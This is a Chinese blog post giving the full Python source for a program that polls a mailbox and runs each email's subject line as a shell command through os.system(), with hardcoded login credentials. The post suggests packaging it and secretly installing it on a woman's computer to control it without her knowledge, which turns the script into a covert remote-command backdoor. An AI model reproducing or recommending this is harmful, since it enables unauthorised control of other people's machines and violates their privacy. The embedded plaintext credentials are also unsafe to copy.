python编写微信远程控制电脑的程序


Posted in Python onJanuary 05, 2018

今天来分享一个“高大上”的技术——使用python编写一个可以用微信远程控制电脑的程序!

先来分析一下控制的具体流程:

python编写微信远程控制电脑的程序

我们使用微信给特定的邮箱发送一封邮件,其中包含了我们想要电脑执行的命令,然后电脑上的python程序获取到这封邮件,然后解析其中的命令,再交付给电脑执行。可以看出,这其中主要的技术难点就是获取邮件了!但是!这没有任何问题,大家看到我的上一篇博客《python 收发邮件》就可以了!

下面给出使用python收发邮件并执行邮件命令的代码。

# -*- coding:utf-8 -*- 
from email.mime.text import MIMEText 
import poplib 
import smtplib 
import os 
 
 
class MailManager(object): 
 
  def __init__(self): 
    self.popHost = 'pop.sina.com' 
    self.smtpHost = 'smtp.sina.com' 
    self.port = 25 
    self.userName = 'ivanzgj@sina.com' 
    self.passWord = 'zgj123' 
    self.bossMail = '475176416@qq.com' 
    self.login() 
    self.configMailBox() 
 
  # 登录邮箱 
  def login(self): 
    try: 
      self.mailLink = poplib.POP3_SSL(self.popHost) 
      self.mailLink.set_debuglevel(0) 
      self.mailLink.user(self.userName) 
      self.mailLink.pass_(self.passWord) 
      self.mailLink.list() 
      print u'login success!' 
    except Exception as e: 
      print u'login fail! ' + str(e) 
      quit() 
 
  # 获取邮件 
  def retrMail(self): 
    try: 
      mail_list = self.mailLink.list()[1] 
      if len(mail_list) == 0: 
        return None 
      mail_info = mail_list[0].split(' ') 
      number = mail_info[0] 
      mail = self.mailLink.retr(number)[1] 
      self.mailLink.dele(number) 
 
      subject = u'' 
      sender = u'' 
      for i in range(0, len(mail)): 
        if mail[i].startswith('Subject'): 
          subject = mail[i][9:] 
        if mail[i].startswith('X-Sender'): 
          sender = mail[i][10:] 
      content = {'subject': subject, 'sender': sender} 
      return content 
    except Exception as e: 
      print str(e) 
      return None 
 
  def configMailBox(self): 
    try: 
      self.mail_box = smtplib.SMTP(self.smtpHost, self.port) 
      self.mail_box.login(self.userName, self.passWord) 
      print u'config mailbox success!' 
    except Exception as e: 
      print u'config mailbox fail! ' + str(e) 
      quit() 
 
  # 发送邮件 
  def sendMsg(self, mail_body='Success!'): 
    try: 
      msg = MIMEText(mail_body, 'plain', 'utf-8') 
      msg['Subject'] = mail_body 
      msg['from'] = self.userName 
      self.mail_box.sendmail(self.userName, self.bossMail, msg.as_string()) 
      print u'send mail success!' 
    except Exception as e: 
      print u'send mail fail! ' + str(e) 
 
if __name__ == '__main__': 
  mailManager = MailManager() 
  mail = mailManager.retrMail() 
  if mail is not None: 
    cmd = mail['subject'] 
    os.system(cmd) 
    mailManager.sendMsg()

上述代码的逻辑是:邮件的主题为要执行的命令,然后python获取邮箱的邮件,解析其主题,然后交到命令行执行。执行成功后发送一封success的邮件给我。

下面测试一下。我使用qq邮箱给我指定的邮箱发送了下面这样一封邮件。

python编写微信远程控制电脑的程序

这封邮件的命令是要打开mail.py这个文件,然后我们在电脑上运行上述代码程序,就可以看到其打开了mail.py这个文件了!
现在,这个程序只会执行一次,然后就会退出,我们只要给它加个死循环就可以让它一直运行了~

if __name__ == '__main__': 
  while True: 
    mailManager = MailManager() 
    mail = mailManager.retrMail() 
    if mail is not None: 
      cmd = mail['subject'] 
      os.system(cmd) 
      mailManager.sendMsg() 
    time.sleep(5)

现在我们只要运行其这个程序,然后我们拿着手机,打开微信,一封邮件,便可随时远控电脑!想想,你们拿着这个程序,打包一下,然后悄悄地撞到你心仪的妹子电脑上,趁她不注意的时候,发一封邮件,然后让妹子的电脑干点什么事情(例如显示一段文字表白什么的),想想都很激动呢!!!

好的,下面直接给出一个源码链接吧。
python 微信远程控制电脑

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python处理字符串之isspace()方法的使用
May 19 Python
Python映射拆分操作符用法实例
May 19 Python
学习python类方法与对象方法
Mar 15 Python
Python实现简单的多任务mysql转xml的方法
Feb 08 Python
python制作小说爬虫实录
Aug 14 Python
PyQt5每天必学之组合框
Apr 20 Python
小白入门篇使用Python搭建点击率预估模型
Oct 12 Python
Python multiprocess pool模块报错pickling error问题解决方法分析
Mar 20 Python
Python Subprocess模块原理及实例
Aug 26 Python
PyTorch 普通卷积和空洞卷积实例
Jan 07 Python
树莓派4B安装Tensorflow的方法步骤
Jul 16 Python
Django后端按照日期查询的方法教程
Feb 28 Python
使用python爬虫实现网络股票信息爬取的demo
Jan 05 #Python
简单实现python收发邮件功能
Jan 05 #Python
5款非常棒的Python工具
Jan 05 #Python
Python基于列表模拟堆栈和队列功能示例
Jan 05 #Python
Django 2.0版本的新特性抢先看!
Jan 05 #Python
微信跳一跳游戏python脚本
Apr 01 #Python
Python基于列表list实现的CRUD操作功能示例
Jan 05 #Python
You might like
php下保存远程图片到本地的办法
2010/08/08 PHP
php学习之简单计算器实现代码
2011/06/09 PHP
求PHP数组最大值,最小值的代码
2011/10/31 PHP
PHP钩子与简单分发方式实例分析
2017/09/04 PHP
使用PHPExcel导出Excel表
2018/09/08 PHP
php生成短网址/短链接原理和用法实例分析
2020/05/29 PHP
JavaScript中的对象化编程
2008/01/16 Javascript
javascript suggest效果 自动完成实现代码分享
2012/02/17 Javascript
JS绘制生成花瓣效果的方法
2015/08/05 Javascript
js随机生成字母数字组合的字符串 随机动画数字
2015/09/02 Javascript
从重置input file标签中看jQuery的 .val() 和 .attr(“value”) 区别
2016/06/12 Javascript
原生态js,鼠标按下后,经过了那些单元格的简单实例
2016/08/11 Javascript
jQuery实现弹出带遮罩层的居中浮动窗口效果
2016/09/12 Javascript
最全面的JS倒计时代码
2016/09/17 Javascript
JavaScript 实现的checkbox经典实例分享
2016/10/16 Javascript
ubuntu编译nodejs所需的软件并安装
2017/09/12 NodeJs
谈谈JS中的!!
2017/12/07 Javascript
快速解决angularJS中用post方法时后台拿不到值的问题
2018/08/14 Javascript
脚手架vue-cli工程webpack的基本用法详解
2018/09/29 Javascript
vue cli 3.x 项目部署到 github pages的方法
2019/04/17 Javascript
JavaScript设计模式--简单工厂模式实例分析【XHR工厂案例】
2020/05/23 Javascript
vue+flask实现视频合成功能(拖拽上传)
2021/03/04 Vue.js
[01:01:52]完美世界DOTA2联赛PWL S2 GXR vs Magma 第二场 11.25
2020/11/26 DOTA
Python中pygame的mouse鼠标事件用法实例
2015/11/11 Python
深入学习python的yield和generator
2016/03/10 Python
Python3网络爬虫之使用User Agent和代理IP隐藏身份
2017/11/23 Python
Win7 64位下python3.6.5安装配置图文教程
2020/10/27 Python
面向初学者的Python编辑器Mu
2018/10/08 Python
python对矩阵进行转置的2种处理方法
2019/07/17 Python
selenium2.0中常用的python函数汇总
2019/08/05 Python
python字典通过值反查键的实现(简洁写法)
2020/09/30 Python
浪费资源的建议书
2014/03/12 职场文书
会计学专业自荐信
2014/06/25 职场文书
12.4法制宣传日标语
2014/10/08 职场文书
满月酒邀请函
2015/01/30 职场文书
MyBatis在注解上使用动态SQL方式(@select使用if)
2022/07/07 Java/Android